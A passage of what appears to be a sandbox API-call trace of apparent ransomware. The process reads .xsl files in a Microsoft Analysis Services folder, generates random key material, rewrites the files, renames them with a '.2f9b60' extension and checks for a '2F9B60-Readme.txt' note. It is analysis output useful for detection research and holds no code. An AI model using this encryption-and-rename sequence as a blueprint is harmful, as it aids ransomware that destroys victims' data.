SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.959] WriteFile (in: hFile=0x14e4, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x376af9f0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x376af9f0*=0x104, lpOverlapped=0x0) returned 1 [0113.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0113.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0113.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0113.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0113.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0113.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0113.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20261280 [0113.964] sprintf (in: _Dest=0x20261280, _Format="%c%c" | out: _Dest="5b") returned 2 [0113.964] sprintf (in: _Dest=0x20261282, _Format="%c%c" | out: _Dest="6e") returned 2 [0113.964] sprintf (in: _Dest=0x20261284, _Format="%c%c" | out: _Dest="3e") returned 2 [0113.964] sprintf (in: _Dest=0x20261286, _Format="%c%c" | out: _Dest="a2") returned 2 [0113.964] sprintf (in: _Dest=0x20261288, _Format="%c%c" | out: _Dest="c7") returned 2 [0113.964] sprintf (in: _Dest=0x2026128a, _Format="%c%c" | out: _Dest="a3") returned 2 [0113.964] sprintf (in: _Dest=0x2026128c, _Format="%c%c" | out: _Dest="e4") returned 2 [0113.964] sprintf (in: _Dest=0x2026128e, _Format="%c%c" | out: _Dest="e3") returned 2 [0113.964] sprintf (in: _Dest=0x20261290, _Format="%c%c" | out: _Dest="91") returned 2 [0113.964] sprintf (in: _Dest=0x20261292, _Format="%c%c" | out: _Dest="b1") returned 2 [0113.964] sprintf (in: _Dest=0x20261294, _Format="%c%c" | out: _Dest="d0") returned 2 [0113.965] sprintf (in: _Dest=0x20261296, _Format="%c%c" | out: _Dest="9c") returned 2 [0113.965] sprintf (in: _Dest=0x20261298, _Format="%c%c" | out: _Dest="85") returned 2 [0113.965] sprintf (in: _Dest=0x2026129a, _Format="%c%c" | out: _Dest="30") returned 2 [0113.965] sprintf (in: _Dest=0x2026129c, _Format="%c%c" | out: _Dest="22") returned 2 [0113.965] sprintf (in: _Dest=0x2026129e, _Format="%c%c" | out: _Dest="81") returned 2 [0113.965] sprintf (in: _Dest=0x202612a0, _Format="%c%c" | out: _Dest="15") returned 2 [0113.965] sprintf (in: _Dest=0x202612a2, _Format="%c%c" | out: _Dest="47") returned 2 [0113.965] RtlInitAnsiString (in: DestinationString=0x376afa68, SourceString="5b6e3ea2c7a3e4e391b1d09c853022811547" | out: DestinationString="5b6e3ea2c7a3e4e391b1d09c853022811547") [0113.965] RtlAnsiStringToUnicodeString (in: DestinationString=0x376afa38, SourceString="5b6e3ea2c7a3e4e391b1d09c853022811547", AllocateDestinationString=1 | out: DestinationString="5b6e3ea2c7a3e4e391b1d09c853022811547") returned 0x0 [0113.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9dfd0 [0113.965] wcscat (in: _Dest=0x20279970, _Source="5b6e3ea2c" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\5b6e3ea2c") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\5b6e3ea2c" [0113.965] wcscat (in: _Dest=0x20279970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\5b6e3ea2c.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\5b6e3ea2c.2f9b60" [0113.965] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\5b6e3ea2c.2f9b60", NtPathName=0x376afa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\5b6e3ea2c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118880 [0113.966] NtSetInformationFile (FileHandle=0x14e4, IoStatusBlock=0x376afab0, FileInformation=0x118880, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0113.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0113.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.968] NtQueryInformationFile (in: FileHandle=0x14e4, IoStatusBlock=0x376afa78, FileInformation=0x376afa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x376afa78, FileInformation=0x376afa88) returned 0x0 [0113.968] NtSetInformationFile (FileHandle=0x14e4, IoStatusBlock=0x376afa78, FileInformation=0x376afa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0113.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dfd0) returned 1 [0113.970] FlushFileBuffers (hFile=0x14e4) returned 1 [0113.972] CloseHandle (hObject=0x14e4) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279970 [0113.985] wcscpy (in: _Dest=0x20279970, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0113.985] wcscat (in: _Dest=0x20279970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0113.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0113.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0113.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 Thread: id = 1190 os_tid = 0xcec [0113.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0113.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", dwFileAttributes=0x20) returned 1 [0113.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ec [0113.934] GetFileSizeEx (in: hFile=0x14ec, lpFileSize=0x3772f9a0 | out: lpFileSize=0x3772f9a0*=39515) returned 1 [0113.934] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x9a57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.935] ReadFile (in: hFile=0x14ec, lpBuffer=0x3772f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3772f968, lpOverlapped=0x0 | out: lpBuffer=0x3772f920*, lpNumberOfBytesRead=0x3772f968*=0x4, lpOverlapped=0x0) returned 1 [0113.941] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0113.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262210 [0113.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0113.942] NtQuerySystemTime (in: CurrentTime=0x3772f860 | out: CurrentTime=0x3772f860*=132462177193942000) returned 0x0 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x2f9f9710 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x785bea43 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x4461b401 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x6b531933 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x19cc7798 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x744479e3 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x7eed9165 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x68e5b1b9 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x17a9baf2 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x19283fdb [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x134bc698 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x8604c08 [0113.942] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x4eb1e6e6 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x690f8c5b [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x76196ddd [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x7afe4863 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x29b7eac1 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x1c5007d [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x4805a63d [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0xf7f22db [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0xca35708 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x4716cc28 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x3d3706f7 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x386c6d8a [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x11eeb87d [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x70db1181 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x2e3ba04e [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x1194fd05 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x71d41d50 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x17e65ca5 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x639d77e8 [0113.943] RtlRandomEx (in: Seed=0x3772f850 | out: Seed=0x3772f850) returned 0x2dfa926e [0113.957] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.957] ReadFile (in: hFile=0x14ec, lpBuffer=0x41c13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3772f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41c13cc0*, lpNumberOfBytesRead=0x3772f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.960] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0113.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0113.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d885a0 [0113.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0113.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0113.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0113.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.961] WriteFile (in: hFile=0x14ec, lpBuffer=0x41d885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3772f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41d885a0*, lpNumberOfBytesWritten=0x3772f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d885a0) returned 1 [0113.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c13cc0) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621b0 [0113.971] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.972] WriteFile (in: hFile=0x14ec, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3772f970, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3772f970*=0x104, lpOverlapped=0x0) returned 1 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0113.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260770) returned 1 [0113.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20260770 [0113.974] sprintf (in: _Dest=0x20260770, _Format="%c%c" | out: _Dest="23") returned 2 [0113.975] sprintf (in: _Dest=0x20260772, _Format="%c%c" | out: _Dest="05") returned 2 [0113.975] sprintf (in: _Dest=0x20260774, _Format="%c%c" | out: _Dest="3e") returned 2 [0113.975] sprintf (in: _Dest=0x20260776, _Format="%c%c" | out: _Dest="3e") returned 2 [0113.975] sprintf (in: _Dest=0x20260778, _Format="%c%c" | out: _Dest="df") returned 2 [0113.975] sprintf (in: _Dest=0x2026077a, _Format="%c%c" | out: _Dest="42") returned 2 [0113.975] sprintf (in: _Dest=0x2026077c, _Format="%c%c" | out: _Dest="e8") returned 2 [0113.975] sprintf (in: _Dest=0x2026077e, _Format="%c%c" | out: _Dest="d4") returned 2 [0113.975] sprintf (in: _Dest=0x20260780, _Format="%c%c" | out: _Dest="8d") returned 2 [0113.975] sprintf (in: _Dest=0x20260782, _Format="%c%c" | out: _Dest="40") returned 2 [0113.975] sprintf (in: _Dest=0x20260784, _Format="%c%c" | out: _Dest="1a") returned 2 [0113.975] sprintf (in: _Dest=0x20260786, _Format="%c%c" | out: _Dest="e2") returned 2 [0113.975] sprintf (in: _Dest=0x20260788, _Format="%c%c" | out: _Dest="d2") returned 2 [0113.975] sprintf (in: _Dest=0x2026078a, _Format="%c%c" | out: _Dest="34") returned 2 [0113.975] sprintf (in: _Dest=0x2026078c, _Format="%c%c" | out: _Dest="7c") returned 2 [0113.975] sprintf (in: _Dest=0x2026078e, _Format="%c%c" | out: _Dest="31") returned 2 [0113.975] sprintf (in: _Dest=0x20260790, _Format="%c%c" | out: _Dest="08") returned 2 [0113.975] sprintf (in: _Dest=0x20260792, _Format="%c%c" | out: _Dest="6b") returned 2 [0113.975] RtlInitAnsiString (in: DestinationString=0x3772f9e8, SourceString="23053e3edf42e8d48d401ae2d2347c31086b" | out: DestinationString="23053e3edf42e8d48d401ae2d2347c31086b") [0113.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x3772f9b8, SourceString="23053e3edf42e8d48d401ae2d2347c31086b", AllocateDestinationString=1 | out: DestinationString="23053e3edf42e8d48d401ae2d2347c31086b") returned 0x0 [0113.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d610 [0113.976] wcscat (in: _Dest=0x20279970, _Source="23053e3ed" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\23053e3ed") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\23053e3ed" [0113.976] wcscat (in: _Dest=0x20279970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\23053e3ed.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\23053e3ed.2f9b60" [0113.976] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\23053e3ed.2f9b60", NtPathName=0x3772f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\23053e3ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118880 [0113.976] NtSetInformationFile (FileHandle=0x14ec, IoStatusBlock=0x3772fa30, FileInformation=0x118880, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0113.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0113.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.978] NtQueryInformationFile (in: FileHandle=0x14ec, IoStatusBlock=0x3772f9f8, FileInformation=0x3772fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3772f9f8, FileInformation=0x3772fa08) returned 0x0 [0113.978] NtSetInformationFile (FileHandle=0x14ec, IoStatusBlock=0x3772f9f8, FileInformation=0x3772fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0113.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d610) returned 1 [0113.980] FlushFileBuffers (hFile=0x14ec) returned 1 [0113.987] CloseHandle (hObject=0x14ec) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279970 [0113.988] wcscpy (in: _Dest=0x20279970, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0113.988] wcscat (in: _Dest=0x20279970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0113.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0113.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0113.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861ee0) returned 1 Thread: id = 1191 os_tid = 0xcf0 [0113.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0113.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", dwFileAttributes=0x20) returned 1 [0113.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ec [0113.994] GetFileSizeEx (in: hFile=0x14ec, lpFileSize=0x3792f8a0 | out: lpFileSize=0x3792f8a0*=29790) returned 1 [0113.994] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x745a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.995] ReadFile (in: hFile=0x14ec, lpBuffer=0x3792f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3792f868, lpOverlapped=0x0 | out: lpBuffer=0x3792f820*, lpNumberOfBytesRead=0x3792f868*=0x4, lpOverlapped=0x0) returned 1 [0113.997] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0113.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9130 [0113.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260260 [0113.997] NtQuerySystemTime (in: CurrentTime=0x3792f760 | out: CurrentTime=0x3792f760*=132462177194566000) returned 0x0 [0113.997] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x6fbf1300 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x6e9325c0 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x65a4ea [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x53d0f138 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x18e3c289 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x406ac40d [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x98986fd [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x3fceba41 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x1b9b8a50 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x16e9078c [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x1b4f09c8 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x7f67abb [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x57218d06 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x7d61f082 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x347d0237 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x55422c5d [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x2490a9b4 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x5046f619 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x3b2b825a [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x2f1d168e [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x7eba2a3b [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x120edc48 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x4aef01a [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x3d4cc4cf [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x7140b1c0 [0113.998] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x27345915 [0113.999] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x677d00b1 [0113.999] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x77f0eb8a [0113.999] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x13ae4d29 [0113.999] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x543a7095 [0113.999] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x70954ec0 [0113.999] RtlRandomEx (in: Seed=0x3792f750 | out: Seed=0x3792f750) returned 0x14c7b8e6 [0114.009] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.009] ReadFile (in: hFile=0x14ec, lpBuffer=0x41c13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3792f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41c13cc0*, lpNumberOfBytesRead=0x3792f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.014] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9160) returned 1 [0114.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) 